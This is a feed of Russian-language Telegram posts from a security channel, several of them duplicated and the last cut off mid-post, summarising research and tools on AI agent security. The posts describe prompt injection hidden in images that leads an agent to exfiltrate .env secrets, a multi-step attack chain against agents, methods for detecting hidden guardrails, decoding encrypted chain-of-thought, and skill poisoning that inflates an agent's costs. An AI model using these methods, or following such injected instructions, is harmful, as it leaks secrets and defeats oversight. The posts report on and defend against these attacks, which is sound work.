🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍2
🚨 У AI-агентов появился полноценный стек безопасности
На arXiv вышла работа AI-Infra-Guard, фреймворк для тестирования безопасности агентных систем.
Авторы разбивают фреймворк на 4 слоя:
🔹 Инфраструктурный слой: движки вывода, серверы моделей, API обслуживания
🔹 Протокольный слой: MCP-серверы, API, плагины, внешние инструменты
🔹 Агентный слой: планировщик, память, маршрутизатор инструментов, исполнитель
🔹 Модельный слой: обработка промптов, управление контекстом, логика рассуждений
🧐 Каждый слой ломается по-разному
➖ На инфраструктурном уровне:
— открытые административные интерфейсы
— слабая аутентификация в системе обслуживания моделей
— отравленные артефакты моделей
— небезопасные механизмы горячего обновления
➖ На протокольном уровне: — вредоносная регистрация MCP-инструментов
— подмена схемы вызовов
— скрытая передача аргументов
— имитация легитимных инструментов
➖ На агентном уровне:
— рекурсивные циклы вызова инструментов
— повышение привилегий через цепочки вызовов
— отравление памяти
— захват контекста выполнения
➖ На модельном уровне:
— джейлбрейки
— переопределение инструкций
— скрытые внедрения в промпты
— утечки цепочек рассуждений
⚙️ Что внутри AI-Infra-Guard
Фреймворк выглядит очень серьёзно:
• 1400+ правил безопасности
• 75+ компонентов AI-экосистемы
• 26 операторов джейлбрейка
• многошаговая оркестрация атак в чёрном ящике
• аудит MCP-серверов
• проверка агентных навыков
• 16 тестовых датасетов
Особенно интересен их подход к многошаговой эксплуатации.
Атака строится по цепочке:
шаг 1 → подготовка контекста
шаг 2 → формирование доверия
шаг 3 → разведка доступных инструментов
шаг 4 → проверка прав доступа
шаг 5 → переход к выполнению полезной нагрузки
Это намного ближе к реальным атакам на агентные системы, чем классические одноходовые проверки.
🔗 Статья:
https://arxiv.org/pdf/2606.31227
Stay secure and read SecureTechTalks 📚
#cybersecurity #aiagents #llmsecurity #redteam #mcp #agentsecurity #promptinjection #devsecops #offensivesecurity #securetechtalks
На arXiv вышла работа AI-Infra-Guard, фреймворк для тестирования безопасности агентных систем.
Авторы разбивают фреймворк на 4 слоя:
🔹 Инфраструктурный слой: движки вывода, серверы моделей, API обслуживания
🔹 Протокольный слой: MCP-серверы, API, плагины, внешние инструменты
🔹 Агентный слой: планировщик, память, маршрутизатор инструментов, исполнитель
🔹 Модельный слой: обработка промптов, управление контекстом, логика рассуждений
🧐 Каждый слой ломается по-разному
— открытые административные интерфейсы
— слабая аутентификация в системе обслуживания моделей
— отравленные артефакты моделей
— небезопасные механизмы горячего обновления
— подмена схемы вызовов
— скрытая передача аргументов
— имитация легитимных инструментов
— рекурсивные циклы вызова инструментов
— повышение привилегий через цепочки вызовов
— отравление памяти
— захват контекста выполнения
— джейлбрейки
— переопределение инструкций
— скрытые внедрения в промпты
— утечки цепочек рассуждений
⚙️ Что внутри AI-Infra-Guard
Фреймворк выглядит очень серьёзно:
• 1400+ правил безопасности
• 75+ компонентов AI-экосистемы
• 26 операторов джейлбрейка
• многошаговая оркестрация атак в чёрном ящике
• аудит MCP-серверов
• проверка агентных навыков
• 16 тестовых датасетов
Особенно интересен их подход к многошаговой эксплуатации.
Атака строится по цепочке:
шаг 1 → подготовка контекста
шаг 2 → формирование доверия
шаг 3 → разведка доступных инструментов
шаг 4 → проверка прав доступа
шаг 5 → переход к выполнению полезной нагрузки
Это намного ближе к реальным атакам на агентные системы, чем классические одноходовые проверки.
🔗 Статья:
https://arxiv.org/pdf/2606.31227
Stay secure and read SecureTechTalks 📚
#cybersecurity #aiagents #llmsecurity #redteam #mcp #agentsecurity #promptinjection #devsecops #offensivesecurity #securetechtalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1👏1
🧨 PNG-файл может украсть секреты у AI-агента
Исследователи представили атаку GhostCommit, где вредоносная инструкция прячется внутри PNG-изображения в Pull Request. Для человека картинка выглядит безобидно, а большинство AI-ревьюеров вообще не анализируют её содержимое.
⚙️ Как работает GhostCommit?
Атака использует разрыв между двумя типами AI-инструментов. Сначала Pull Request проходит проверку AI-ревьюером, который анализирует только текстовые изменения и пропускает изображение.
Позже другой AI-агент, уже работающий с репозиторием целиком, открывает PNG, извлекает скрытую инструкцию и начинает выполнять её как часть своей задачи.
🧠 Что заставляют делать агента?
В демонстрации агент открывал файл .env, извлекал API-ключи и другие секреты, после чего не отправлял их напрямую наружу, а маскировал в исходном коде в виде массива чисел.
Такой коммит выглядит как вполне легитимное изменение, а классические secret scanners не распознают подобную форму эксфильтрации.
🛡️ Дело в Архитектуре
Проблема уже не в качестве модели, а в архитектуре агентных пайплайнов. Один AI проверяет код, другой пишет его, третий запускает CI. Каждый из них видит проект по-своему. GhostCommit показывает, что достаточно найти «слепую зону» между такими этапами, чтобы обойти весь процесс защиты.
Исследователи также проанализировали 6480 Pull Request в 300 популярных open-source проектах и обнаружили, что 73% изменений попадают в основную ветку без содержательной проверки человеком или AI-ревьюером. Именно такие цепочки становятся наиболее привлекательной целью для атак на AI-агентов.
🔗 Источник: https://www.bleepingcomputer.com/news/security/ghostcommit-hides-prompt-injection-in-images-to-fool-ai-agents-steal-secrets/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #SupplyChainSecurity #AppSec #CodeReview #CyberSecurity #SecureTechTalks
Исследователи представили атаку GhostCommit, где вредоносная инструкция прячется внутри PNG-изображения в Pull Request. Для человека картинка выглядит безобидно, а большинство AI-ревьюеров вообще не анализируют её содержимое.
⚙️ Как работает GhostCommit?
Атака использует разрыв между двумя типами AI-инструментов. Сначала Pull Request проходит проверку AI-ревьюером, который анализирует только текстовые изменения и пропускает изображение.
Позже другой AI-агент, уже работающий с репозиторием целиком, открывает PNG, извлекает скрытую инструкцию и начинает выполнять её как часть своей задачи.
🧠 Что заставляют делать агента?
В демонстрации агент открывал файл .env, извлекал API-ключи и другие секреты, после чего не отправлял их напрямую наружу, а маскировал в исходном коде в виде массива чисел.
Такой коммит выглядит как вполне легитимное изменение, а классические secret scanners не распознают подобную форму эксфильтрации.
🛡️ Дело в Архитектуре
Проблема уже не в качестве модели, а в архитектуре агентных пайплайнов. Один AI проверяет код, другой пишет его, третий запускает CI. Каждый из них видит проект по-своему. GhostCommit показывает, что достаточно найти «слепую зону» между такими этапами, чтобы обойти весь процесс защиты.
Исследователи также проанализировали 6480 Pull Request в 300 популярных open-source проектах и обнаружили, что 73% изменений попадают в основную ветку без содержательной проверки человеком или AI-ревьюером. Именно такие цепочки становятся наиболее привлекательной целью для атак на AI-агентов.
🔗 Источник: https://www.bleepingcomputer.com/news/security/ghostcommit-hides-prompt-injection-in-images-to-fool-ai-agents-steal-secrets/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #SupplyChainSecurity #AppSec #CodeReview #CyberSecurity #SecureTechTalks
❤1👍1
🧨 Guardrails учатся думать: SingGuard-NSFA
Современные guardrails работают примитивно, получили запрос, нашли запрещённый паттерн и заблокировали. Однако для AI-агентов этого уже недостаточно. Атаки ушли от простых jailbreak'ов к сложным сценариям с prompt injection, опасными tool calls и постепенной компрометацией reasoning.
На GitHub появился SingGuard-NSFA, open-source guardrail, разработанный специально для защиты agentic AI.
⚙️ Чем он отличается от остальных?
Вместо одного бинарного решения модель использует двухуровневую архитектуру.
Для runtime работает лёгкий классификатор, способный принимать решение примерно за 50 мс. Если ситуация неоднозначна, подключается генеративный анализ, который пошагово сопоставляет запрос с политиками безопасности и объясняет, почему действие считается опасным.
🧠 Не просто jailbreak
SingGuard построен вокруг таксономии NSFA (Not Secure For Agents), которая описывает 185 вариантов угроз, связанных именно с агентными системами.
Среди них:
➖ prompt injection и jailbreak;
➖ попытки извлечения секретов;
➖ генерация вредоносного кода;
➖ опасное использование инструментов;
➖ утечка конфиденциальных данных;
➖ атаки на доступность через истощение ресурсов.
В отличие от обычных модераторов контента, модель проверяет не только запрос пользователя, но и ответ самого агента перед выполнением действий.
🛡️ Куда все идет?
За последний месяц мы уже видели MCP Injection, GhostCommit и workflow-level jailbreak. Во всех случаях проблема, что модель не генерирует токсичный текст, но принимает опасные операционные решения.
Похоже, следующее поколение guardrails будет оценивать уже не содержание диалога, а безопасность поведения AI-агента во время выполнения задач.
🔗 GitHub: https://github.com/inclusionAI/SingGuard-NSFA
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #Guardrails #PromptInjection #RuntimeSecurity #AppSec #SecureTechTalks
Современные guardrails работают примитивно, получили запрос, нашли запрещённый паттерн и заблокировали. Однако для AI-агентов этого уже недостаточно. Атаки ушли от простых jailbreak'ов к сложным сценариям с prompt injection, опасными tool calls и постепенной компрометацией reasoning.
На GitHub появился SingGuard-NSFA, open-source guardrail, разработанный специально для защиты agentic AI.
⚙️ Чем он отличается от остальных?
Вместо одного бинарного решения модель использует двухуровневую архитектуру.
Для runtime работает лёгкий классификатор, способный принимать решение примерно за 50 мс. Если ситуация неоднозначна, подключается генеративный анализ, который пошагово сопоставляет запрос с политиками безопасности и объясняет, почему действие считается опасным.
🧠 Не просто jailbreak
SingGuard построен вокруг таксономии NSFA (Not Secure For Agents), которая описывает 185 вариантов угроз, связанных именно с агентными системами.
Среди них:
➖ prompt injection и jailbreak;
➖ попытки извлечения секретов;
➖ генерация вредоносного кода;
➖ опасное использование инструментов;
➖ утечка конфиденциальных данных;
➖ атаки на доступность через истощение ресурсов.
В отличие от обычных модераторов контента, модель проверяет не только запрос пользователя, но и ответ самого агента перед выполнением действий.
🛡️ Куда все идет?
За последний месяц мы уже видели MCP Injection, GhostCommit и workflow-level jailbreak. Во всех случаях проблема, что модель не генерирует токсичный текст, но принимает опасные операционные решения.
Похоже, следующее поколение guardrails будет оценивать уже не содержание диалога, а безопасность поведения AI-агента во время выполнения задач.
🔗 GitHub: https://github.com/inclusionAI/SingGuard-NSFA
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #Guardrails #PromptInjection #RuntimeSecurity #AppSec #SecureTechTalks
👍2
🧨 OpenAI решили проверить, сможет ли AI сам распознавать prompt injection
OpenAI представили GPT-RED, новую модель, предназначенную для автоматического тестирования AI-систем на устойчивость к prompt injection и другим атакам. Вместо ручного написания jailbreak-промптов GPT-RED самостоятельно генерирует тысячи вариантов атакующих сценариев и оценивает, какие из них действительно приводят к компрометации модели.
⚙️ Динамический подбор
GPT-RED действует как автономный red team. На вход он получает описание целевой системы и её политики безопасности, после чего строит цепочки атак, постепенно адаптируя их под ответы модели.
В отличие от классических наборов тестов, где используются заранее подготовленные промпты, GPT-RED динамически меняет стратегию, если предыдущая попытка оказалась неудачной. Для обучения используется self-play: атакующая модель и защищающиеся модели одновременно совершенствуются, заставляя друг друга искать всё более сложные способы атаки и защиты.
🧠 Не только prompt injection
Модель тестирует не отдельный запрос, а поведение всей агентной системы. В фокусе оказываются:
➖ обход системных инструкций;
➖ извлечение скрытого контекста;
➖ нарушение политик безопасности;
➖ атаки на tool calling;
➖ многоэтапные jailbreak-цепочки.
По данным OpenAI, GPT-RED успешно находил атаки в 84% сценариев на независимом наборе тестов против 13% у команды людей-red team. Кроме того, атаки, сгенерированные GPT-RED, уже используются для обучения новых моделей OpenAI, что позволило значительно повысить их устойчивость к prompt injection.
🔗 Источник: https://openai.com/index/unlocking-self-improvement-gpt-red
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OpenAI #PromptInjection #RedTeaming #AgenticAI #AISecurity #CyberSecurity #SecureTechTalks
OpenAI представили GPT-RED, новую модель, предназначенную для автоматического тестирования AI-систем на устойчивость к prompt injection и другим атакам. Вместо ручного написания jailbreak-промптов GPT-RED самостоятельно генерирует тысячи вариантов атакующих сценариев и оценивает, какие из них действительно приводят к компрометации модели.
⚙️ Динамический подбор
GPT-RED действует как автономный red team. На вход он получает описание целевой системы и её политики безопасности, после чего строит цепочки атак, постепенно адаптируя их под ответы модели.
В отличие от классических наборов тестов, где используются заранее подготовленные промпты, GPT-RED динамически меняет стратегию, если предыдущая попытка оказалась неудачной. Для обучения используется self-play: атакующая модель и защищающиеся модели одновременно совершенствуются, заставляя друг друга искать всё более сложные способы атаки и защиты.
🧠 Не только prompt injection
Модель тестирует не отдельный запрос, а поведение всей агентной системы. В фокусе оказываются:
➖ обход системных инструкций;
➖ извлечение скрытого контекста;
➖ нарушение политик безопасности;
➖ атаки на tool calling;
➖ многоэтапные jailbreak-цепочки.
По данным OpenAI, GPT-RED успешно находил атаки в 84% сценариев на независимом наборе тестов против 13% у команды людей-red team. Кроме того, атаки, сгенерированные GPT-RED, уже используются для обучения новых моделей OpenAI, что позволило значительно повысить их устойчивость к prompt injection.
🔗 Источник: https://openai.com/index/unlocking-self-improvement-gpt-red
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OpenAI #PromptInjection #RedTeaming #AgenticAI #AISecurity #CyberSecurity #SecureTechTalks
👍2
🧨 Граница доверия LLM.
На arXiv вышла работа Composable Trust for Language Models, где авторы предлагают отказаться от идеи «исправить модель», а вместо этого предланают изменить архитектуру агентных систем.
⚙️ Граница доверия становится частью архитектуры
Авторы вводят понятие Composable Trust, формальной границы доверия (trust boundary), которая задаётся для каждого компонента пайплайна вокркг LLM.
Например:
🔹 RAG может предоставлять информацию, но не инициировать tool calls;
🔹 системный промпт имеет право задавать политики безопасности;
🔹 пользовательские инструкции не могут менять права доступа;
🔹 результаты поиска используются только как данные, а не как инструкции для выполнения.
При добавлении нового компонента, например MCP-сервера, общая trust boundary пересчитывается.
🧠 Как измеряют защиту?
Авторы разделяют доказуемую безопасность и измеряемую эффективность.
Критические решения принимает не сама LLM, а внешний Trust Monitor, детерминированный компонент, который отслеживает происхождение каждого фрагмента контекста и присваивает ему уровень доверия. Если запрос на вызов инструмента сформирован данными из недоверенного источника, monitor блокирует действие независимо от того, что решила модель.
После этого измеряется эффективность защиты.
В экспериментах на Gemma 3 27B комбинация Trust Monitor и механизма passivation увеличила показатель Genuine Leak Defended Rate примерно с 27% до 94%, при этом качество обычных ответов практически не изменилось (QRel ≈ 0.96). Даже при адаптивных атаках защита сохраняла около 87% успешных блокировок, а корректная атрибуция данных из недоверенных источников достигала 92%.
🛡️ Простота в действии
Практически все современные средства защиты пытаются сделать модель «умнее»: обучить новым jailbreak, добавить guardrails или улучшить системный промпт.
Авторы данного исследования предлагают противоположный подход. LLM больше не должна принимать решения о доверии. Её задача исключительно генерировать текст. Всё, что связано с доступом к инструментам, данным и выполнением действий, должно контролироваться проверяемым кодом за пределами модели.
🔗 Исследование: https://arxiv.org/abs/2607.13149
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #PromptInjection #TrustBoundary #RuntimeSecurity #AppSec #SecureTechTalks
На arXiv вышла работа Composable Trust for Language Models, где авторы предлагают отказаться от идеи «исправить модель», а вместо этого предланают изменить архитектуру агентных систем.
⚙️ Граница доверия становится частью архитектуры
Авторы вводят понятие Composable Trust, формальной границы доверия (trust boundary), которая задаётся для каждого компонента пайплайна вокркг LLM.
Например:
🔹 RAG может предоставлять информацию, но не инициировать tool calls;
🔹 системный промпт имеет право задавать политики безопасности;
🔹 пользовательские инструкции не могут менять права доступа;
🔹 результаты поиска используются только как данные, а не как инструкции для выполнения.
При добавлении нового компонента, например MCP-сервера, общая trust boundary пересчитывается.
🧠 Как измеряют защиту?
Авторы разделяют доказуемую безопасность и измеряемую эффективность.
Критические решения принимает не сама LLM, а внешний Trust Monitor, детерминированный компонент, который отслеживает происхождение каждого фрагмента контекста и присваивает ему уровень доверия. Если запрос на вызов инструмента сформирован данными из недоверенного источника, monitor блокирует действие независимо от того, что решила модель.
После этого измеряется эффективность защиты.
В экспериментах на Gemma 3 27B комбинация Trust Monitor и механизма passivation увеличила показатель Genuine Leak Defended Rate примерно с 27% до 94%, при этом качество обычных ответов практически не изменилось (QRel ≈ 0.96). Даже при адаптивных атаках защита сохраняла около 87% успешных блокировок, а корректная атрибуция данных из недоверенных источников достигала 92%.
🛡️ Простота в действии
Практически все современные средства защиты пытаются сделать модель «умнее»: обучить новым jailbreak, добавить guardrails или улучшить системный промпт.
Авторы данного исследования предлагают противоположный подход. LLM больше не должна принимать решения о доверии. Её задача исключительно генерировать текст. Всё, что связано с доступом к инструментам, данным и выполнением действий, должно контролироваться проверяемым кодом за пределами модели.
🔗 Исследование: https://arxiv.org/abs/2607.13149
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #PromptInjection #TrustBoundary #RuntimeSecurity #AppSec #SecureTechTalks
❤1👍1
🚨 Guardrails можно обнаружить, даже если они полностью скрыты
Большинство компаний не раскрывают, какие именно guardrails стоят перед их LLM. Для атакующего это серьёзная проблема, т.к. непонятно, блокирует ли запрос отдельный фильтр безопасности или сама модель отказалась выполнять опасную инструкцию.
Исследователи из Mindgard показали, что определить наличие guardrails можно анализируя её внешнее поведение.
⚙️ Behavioral Monitoring
Авторы предлагают метод Behavioral Monitoring, где вместо анализа модели они наблюдают за косвенными признаками ответа:
🔹 HTTP-коды и структуру ответов;
🔹 задержку обработки запросов;
🔹 особенности формулировок отказов;
🔹 изменения длины и лексики ответов.
Если последовательно отправлять серии безопасных и опасных запросов, система начинает выдавать характерные поведенческие паттерны, по которым можно определить, что перед моделью работает отдельный guardrail.
🧠 Выводы
По результатам экспериментов исследователи смогли:
➖ определить наличие guardrail со 100% точностью;
➖ отличить срабатывание guardrail от собственного отказа LLM со средним F1 = 98%;
➖ определить, какие именно категории контента фильтрует защита (например, вредоносный код, jailbreak, утечку данных и другие).
При таком подходе система безопасности сама начинает раскрывать информацию о своей архитектуре через особенности поведения.
🔗 Исследование: https://arxiv.org/abs/2607.02121
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Guardrails #PromptInjection #RedTeaming #AISecurity #AgenticAI #CyberSecurity #SecureTechTalks
Большинство компаний не раскрывают, какие именно guardrails стоят перед их LLM. Для атакующего это серьёзная проблема, т.к. непонятно, блокирует ли запрос отдельный фильтр безопасности или сама модель отказалась выполнять опасную инструкцию.
Исследователи из Mindgard показали, что определить наличие guardrails можно анализируя её внешнее поведение.
⚙️ Behavioral Monitoring
Авторы предлагают метод Behavioral Monitoring, где вместо анализа модели они наблюдают за косвенными признаками ответа:
🔹 HTTP-коды и структуру ответов;
🔹 задержку обработки запросов;
🔹 особенности формулировок отказов;
🔹 изменения длины и лексики ответов.
Если последовательно отправлять серии безопасных и опасных запросов, система начинает выдавать характерные поведенческие паттерны, по которым можно определить, что перед моделью работает отдельный guardrail.
🧠 Выводы
По результатам экспериментов исследователи смогли:
➖ определить наличие guardrail со 100% точностью;
➖ отличить срабатывание guardrail от собственного отказа LLM со средним F1 = 98%;
➖ определить, какие именно категории контента фильтрует защита (например, вредоносный код, jailbreak, утечку данных и другие).
При таком подходе система безопасности сама начинает раскрывать информацию о своей архитектуре через особенности поведения.
🔗 Исследование: https://arxiv.org/abs/2607.02121
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Guardrails #PromptInjection #RedTeaming #AISecurity #AgenticAI #CyberSecurity #SecureTechTalks
👍1
🧨 Зашифрованные мысли LLM не такие уж секретные
Разработчики Anthropic, OpenAI и Google специально прячут chain-of-thought. Пользователь получает только краткое summary, а полное reasoning API возвращает в виде зашифрованного блока, который клиент должен передать обратно при следующем запросе.
Звучит безопасно? Спойлер -нет .
Исследователи из Tübingen, Max Planck, MATS и Snyk показали, что если взять такой блок от сильной модели и передать его более слабой модели того же провайдера, слабую модель можно заставить расшифровать и вывести исходный reasoning практически дословно.
⚙️ В чём проблема?
Уязвимость оказалась архитектурной. Reasoning-блоки были совместимы между разными сессиями, пользователями и моделями внутри одной экосистемы.
Схема выглядит так:
сильная модель → encrypted reasoning → слабая модель → plaintext reasoning
Более слабая модель становится дешёвым «дешифратором», потому что у неё менее строгие защитные настройки.
🧠 Дальше больше
Учёные скачали 315 320 зашифрованных reasoning-блоков из публичных репозиториев и смогли восстановить из них:
🔹 367 PII-артефактов;
🔹 182 credentials.
То есть разработчик мог спокойно опубликовать лог, увидеть в нём набор бессмысленных символов и фактически выложить вместе с ним пароль или API credential.
Стоит учесть, что reasoning может содержать информацию, которой вообще нет в видимой части сессии.
🔥 Более опасный сценарий
Исследователи показали, что этот же механизм можно использовать и в обратную сторону. Не извлекать скрытый prompt, а спрятать вредоносную инструкцию внутри reasoning-блока.
Видимый лог выглядит нормально. Человек ничего подозрительного не замечает, но другой агент, получив этот блок как часть истории предыдущего запуска, может прочитать встроенную инструкцию как собственное прошлое состояние.
Получается новый вариант invisible prompt injection, который особенно опасен для публичных коллекций agent trajectories.
🧨 Причем тут Kimi?
Авторы отдельно сравнили скрытые reasoning-трейсы Claude Opus 4.8 и GPT-5.6 Sol с несколькими open-weight моделями.
У Kimi K3 обнаружились необычно сильные совпадения. Это выглядит как возможный след distillation, но авторы подчёркивают, что эксперимент не доказывает, что Kimi действительно обучалась на украденных reasoning-трейсах.
🔗 Исследование: https://arxiv.org/abs/2608.09867
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #ChainOfThought #AgenticAI #AISecurity #PromptInjection #DataLeak #ModelSecurity #SecureTechTalks
Разработчики Anthropic, OpenAI и Google специально прячут chain-of-thought. Пользователь получает только краткое summary, а полное reasoning API возвращает в виде зашифрованного блока, который клиент должен передать обратно при следующем запросе.
Звучит безопасно? Спойлер -
Исследователи из Tübingen, Max Planck, MATS и Snyk показали, что если взять такой блок от сильной модели и передать его более слабой модели того же провайдера, слабую модель можно заставить расшифровать и вывести исходный reasoning практически дословно.
⚙️ В чём проблема?
Уязвимость оказалась архитектурной. Reasoning-блоки были совместимы между разными сессиями, пользователями и моделями внутри одной экосистемы.
Схема выглядит так:
сильная модель → encrypted reasoning → слабая модель → plaintext reasoning
Более слабая модель становится дешёвым «дешифратором», потому что у неё менее строгие защитные настройки.
🧠 Дальше больше
Учёные скачали 315 320 зашифрованных reasoning-блоков из публичных репозиториев и смогли восстановить из них:
🔹 367 PII-артефактов;
🔹 182 credentials.
То есть разработчик мог спокойно опубликовать лог, увидеть в нём набор бессмысленных символов и фактически выложить вместе с ним пароль или API credential.
Стоит учесть, что reasoning может содержать информацию, которой вообще нет в видимой части сессии.
🔥 Более опасный сценарий
Исследователи показали, что этот же механизм можно использовать и в обратную сторону. Не извлекать скрытый prompt, а спрятать вредоносную инструкцию внутри reasoning-блока.
Видимый лог выглядит нормально. Человек ничего подозрительного не замечает, но другой агент, получив этот блок как часть истории предыдущего запуска, может прочитать встроенную инструкцию как собственное прошлое состояние.
Получается новый вариант invisible prompt injection, который особенно опасен для публичных коллекций agent trajectories.
🧨 Причем тут Kimi?
Авторы отдельно сравнили скрытые reasoning-трейсы Claude Opus 4.8 и GPT-5.6 Sol с несколькими open-weight моделями.
У Kimi K3 обнаружились необычно сильные совпадения. Это выглядит как возможный след distillation, но авторы подчёркивают, что эксперимент не доказывает, что Kimi действительно обучалась на украденных reasoning-трейсах.
🔗 Исследование: https://arxiv.org/abs/2608.09867
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #ChainOfThought #AgenticAI #AISecurity #PromptInjection #DataLeak #ModelSecurity #SecureTechTalks
👍1
💣 Convergent Detour Hijacking: когда AI-агент делает всё правильно
У AI-агентов появляется новый класс атак, который сложно заметить обычными security-проверками.
Convergent Detour Hijacking (CDH) не заставляет агента провалить задачу. Наоборот, агент приходит к правильному результату, но по специально навязанному обходному и безумно дорогому маршруту.
Представьте задачу: «найти уязвимость в приложении и подготовить отчёт.»
Нормальный агент:
После атаки:
Каждый шаг выглядит разумным. Но их становится в разы больше. Растёт всё:
🔹 количество tool calls
🔹 число inference steps
🔹 расход токенов
🔹 время выполнения
🔹 нагрузка на инструменты
🔹 стоимость запуска агента
🎯 В чём трюк?
Агент подменяет или заражает skill, определяющий, как агент должен решать задачу. В навык можно добавить дополнительные проверки, повторные валидации или альтернативные ветки и увеличить стоимость решения задачи в несколько раз.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AIsecurity #AIAgents #LLM #AgentSecurity #PromptInjection #AgenticAI #Cybersecurity #LLMSecurity #SecureTechTalks
У AI-агентов появляется новый класс атак, который сложно заметить обычными security-проверками.
Convergent Detour Hijacking (CDH) не заставляет агента провалить задачу. Наоборот, агент приходит к правильному результату, но по специально навязанному обходному и безумно дорогому маршруту.
Представьте задачу: «найти уязвимость в приложении и подготовить отчёт.»
Нормальный агент:
recon → test → analyze → report
После атаки:
recon → test → verify → re-check → reproduce → validate → compare → retry → analyze → report
Каждый шаг выглядит разумным. Но их становится в разы больше. Растёт всё:
🔹 количество tool calls
🔹 число inference steps
🔹 расход токенов
🔹 время выполнения
🔹 нагрузка на инструменты
🔹 стоимость запуска агента
🎯 В чём трюк?
Агент подменяет или заражает skill, определяющий, как агент должен решать задачу. В навык можно добавить дополнительные проверки, повторные валидации или альтернативные ветки и увеличить стоимость решения задачи в несколько раз.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AIsecurity #AIAgents #LLM #AgentSecurity #PromptInjection #AgenticAI #Cybersecurity #LLMSecurity #SecureTechTalks
🧨 LLM научились ловить ботов. Теперь боты учатся обманывать LLM
Соцсети всё чаще используют LLM для поиска ботов. Модель читает профиль, историю публикаций и пытается понять, перед ней человек или автоматизированный аккаунт.
Проблема начинается в тот момент, когда атакующий понимает, как работает детектор.
⚙️ Достаточно переписать запрос
Исследователи из Reichman University проверили три open source модели: Llama 3 8B, Gemma 7B и Mistral 7B.
Они использовали два класса атак.
🔹 Content Manipulation: AI переписывает публикации бота так, чтобы они выглядели более естественно.
🔹 LLM Manipulation: в данные добавляется prompt injection, который пытается заставить классификатор забыть исходную задачу.
У Llama точность детектирования после некоторых атак падала примерно с 91% до 75%. Для Gemma падение доходило примерно до 35%.
🧠 Атака на сам детектор
Самый действенный результат связан с prompt injection. Для Llama и Gemma некоторые варианты атак снижали качество классификации примерно на 46% и 48% соответственно. Причём модель могла начать выполнять инструкции из анализируемого контента вместо первоначальной задачи определения бота.
Таким образом, система безопасности сама становится объектом атаки.
🔥 Один LLM против другой
Авторы проверили несколько защитных подходов: delimiters, self examination, in context learning, feature guidance и проверки known answer.
Универсального решения не нашлось. Например, для Llama feature guidance помогал против reasoning injection, а known answer оказался особенно эффективен против некоторых других вариантов атак. Поэтому исследователи собрали LSABRE, ансамбль из нескольких LLM.
Он работает в три этапа:
Detection → Prevention → Classification
Сначала несколько моделей ищут признаки манипуляции. Подозрительный контент получает дополнительную защиту. После этого основная модель выполняет классификацию.
В эксперименте LSABRE достиг 86,2% accuracy при атаке и сохранил FPR около 13%.
🔗 Исследование: https://arxiv.org/abs/2608.15893
🔗 GitHub LSABRE: https://github.com/runi-cyber-ai/LSABRE
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BotDetection #PromptInjection #AISecurity #RedTeaming #CyberSecurity #SecureTechTalks
Соцсети всё чаще используют LLM для поиска ботов. Модель читает профиль, историю публикаций и пытается понять, перед ней человек или автоматизированный аккаунт.
Проблема начинается в тот момент, когда атакующий понимает, как работает детектор.
⚙️ Достаточно переписать запрос
Исследователи из Reichman University проверили три open source модели: Llama 3 8B, Gemma 7B и Mistral 7B.
Они использовали два класса атак.
🔹 Content Manipulation: AI переписывает публикации бота так, чтобы они выглядели более естественно.
🔹 LLM Manipulation: в данные добавляется prompt injection, который пытается заставить классификатор забыть исходную задачу.
У Llama точность детектирования после некоторых атак падала примерно с 91% до 75%. Для Gemma падение доходило примерно до 35%.
🧠 Атака на сам детектор
Самый действенный результат связан с prompt injection. Для Llama и Gemma некоторые варианты атак снижали качество классификации примерно на 46% и 48% соответственно. Причём модель могла начать выполнять инструкции из анализируемого контента вместо первоначальной задачи определения бота.
